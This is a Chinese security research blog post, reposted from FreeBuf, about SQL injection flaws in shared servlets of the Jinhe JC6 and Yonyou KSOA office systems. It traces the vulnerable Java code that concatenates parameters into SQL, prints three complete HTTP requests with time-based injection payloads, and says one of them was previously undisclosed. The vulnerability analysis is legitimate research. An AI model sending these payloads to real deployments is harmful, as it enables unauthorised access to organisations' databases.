原文转载自己在Freebuf上面的投稿,链接:https://www.freebuf.com/vuls/403687.html
一、前言
这段时间在审计和整理金和Jc6历史漏洞
当时正在结合源码复现一个金和Jc6系统的SQL注入漏洞
POC已经公开了,如下:
POST /jc6/servlet/uploaddoc HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 50 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Sec-Ch-Ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115" Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip key=readimage&sKeyvalue=1';WAITFOR DELAY '0:0:3'--
Jc6是通过Tomcat部署的。分析漏洞源码,方法出自cn.com.fcsoft这一个jar包,命名和金和jc6自身包的jh.jcs命名很不相同
漏洞出自方法uploaddoc1()中
追踪一下代码
可见传参sKeyvalue是直接拼接到SQL语句执行的,漏洞就出在参数sKeyvalue
String sSql = "select filename,extend,attachid,bz,filepos from FC_ATTACH where djbh='" + this.sKeyvalue + "' and djsn='" + this.sKeyvalue1 + "'"; conn = this.jt.getDataSource().getConnection(); stat = conn.createStatement(); rs1 = stat.executeQuery(sSql);
那么举一反三,我还能在同一个jar包的其他servlet方法里面挖到类似的注入:
imagefiled.class中关键代码如下
其中imagefiled1()方法中也是同样拼接到SQL语句中导致注入,除了参数不一样思路基本一致
String sSql = "select " + this.sImgname + " from " + this.sTablename + " where " + this.sKeyname + "='" + this.sKeyvalue + "'"; conn = this.jt.getDataSource().getConnection(); stat = conn.createStatement(); rs1 = stat.executeQuery(sSql);
利用数据包就如下:
POST /jc6/servlet/imagefield HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 Content-Length: 158 Accept: */* Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/x-www-form-urlencoded SL-CE-SUID: 77 key=readimage&sImgname=1&sTablename=FC_ATTACH&sKeyname=1&sKeyvalue=1';WAITFOR DELAY '0:0:3'--
请求后注入延时三秒,验证存在漏洞
经过互联网的一顿搜索,发现这个漏洞并未公开,但是我也找到了有趣的东西,这就引出下面的内容
二、servlet引发的相同漏洞
就在我搜索关键字servlet/imagefield的时候,用友时空KSOA的漏洞进入了视野
该漏洞和我发现的金和Jc6 SQL注入,除了请求URL没有/jc6外,传参是百分百相似的
也就是说,两个OA系统可能都有相同的servlet方法,或者两者都是基于相同的servlet方法工具包二次开发的
为了验证这种猜想,我便用上面的金和Jc6的SQL注入去验证
请求路径去掉/jc6,直接套到用友时空KSOA上,请求如下:
GET /servlet/uploaddoc?key=readimage&sKeyvalue=1';WAITFOR+DELAY+'0:0:3'-- HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36 Connection: close
延时注入依旧存在,这个漏洞没有公开过,但是有师傅已经挖到了
猜想基本验证成立
我这用金和Jc6的servlet名称去测试用友时空KSOA是否存在对应的方法,发现只有uploaddoc和imagfiled存在
既然两个OA都用到了一个第三方包,不排除其他OA也有使用的可能性,因此还有发掘漏洞的潜力可言
三、结语
希望各位师傅也能通过类似的对比方法,挖到更多的其他漏洞
原文始发于微信公众号(HackingWiki漏洞感知):相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论